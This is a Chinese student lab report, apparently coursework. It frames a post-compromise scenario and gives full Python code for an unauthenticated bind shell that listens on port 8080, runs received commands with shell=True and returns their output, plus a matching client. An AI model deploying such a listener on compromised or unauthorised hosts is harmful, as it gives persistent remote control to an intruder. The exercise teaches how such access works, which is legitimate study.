实验场景
一名黑客入侵了一台主机之后,希望维持对这台主机的访问,遗憾的是该主机并没有安装netcat,继续发现该主机支持python2.7编程环境。这种情况下需要创建一个监听端让自己拥有控制命令行的操作权限,来替代木马和后门程序。
实验要求
编写一个python 2.7小程序,改程序可实现以下两个功能:
- 作为服务端监听端口,获取来自客户端的指令并执行,最后将执行结果返回给客户端。
- 作为客户端,向服务端的指定端口发送命令,并将服务端的返回结果打印出来
备注:考虑到python2.7版本已经比较旧了,这里我采用了python3版本编程,本质上没有太大的区别,只是一些语法部分有出入。
实验结果
本题与week2的socket编程实验类似,都是使用python对两个端口进行监听。 依照题目要求实现两个python程序,先运行server端进行监听,再运行client端。对于client端的命令输入,server端都可以监测得到。 Server端效果如图
代码见文末
实验遇到的问题及解决方案
- python2.7 与 python3.6的某些细节部分定义不同。
本次实验我实现的是python3.6版本,因为一来python2.7没有继续学习的必要,二来命令行的默认路径是python3而不是2。 但是在实现的时候由于路径设置的一些问题还是遇到了python2/3之间的某些细节不同导致的报错,具体问题如下
1)raw_input() change to input()
2)'print a ' is invalid,you should use print()
3)'except Expection,e' change to 'except Expection as e'
4)while using send() & sendall() have the same error:
a bytes-like object is required, not 'str'
————needs encode() and decode()
5)windows不支持ls等命令,运行的时候会比较尴尬
复制代码
- python 中tab与空格混用导致的报错
- 在实际Cygwin端下运行 ls 与 自己调用的程序运行的 ls 结果格式不同
——可优化部分:在捕获到client的命令之后直接进行系统调用而不是以一块块buffer形式返回。
代码如下
Server端
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, traceback, subprocess
host = ''
port = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)
while 1:
try:
client_socket, client_addr = s.accept()
except Exception as e:
traceback.print_exc()
continue
try:
print("From host:", client_socket.getpeername())
while 1:
command = client_socket.recv(4096)
if not len(command):
break
print(client_socket.getpeername()[0] + ':' + str(command))
# 执行客户端传递过来的命令
print(command.decode()+"\n")
handler = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE)
output = handler.stdout.readlines()
if output is None:
output = []
for one_line in output:
client_socket.sendall(one_line)
client_socket.sendall("\n".encode('utf-8'))
client_socket.sendall("ok\n".encode('utf-8'))
except Exception as e:
traceback.print_exc()
try:
client_socket.close()
except Exception as e:
traceback.print_exc()
复制代码
Client端
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, sys, traceback
host = '127.0.0.1'
port = 8080
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
except Exception as e:
msg = traceback.format_exc()
print("Connect Error:"), msg
input_command = input("Input Command:")
#print(input_command)
s.send(input_command.encode())
s.shutdown(1)
#print ("Send success!")
while 1:
buff = s.recv(4096)
if not len(buff):
break
sys.stdout.write(buff.decode())
answer = input("continue? Y/N ")
if answer == 'N':
break
if answer == 'Y':
continue
else:
print("input error!")
复制代码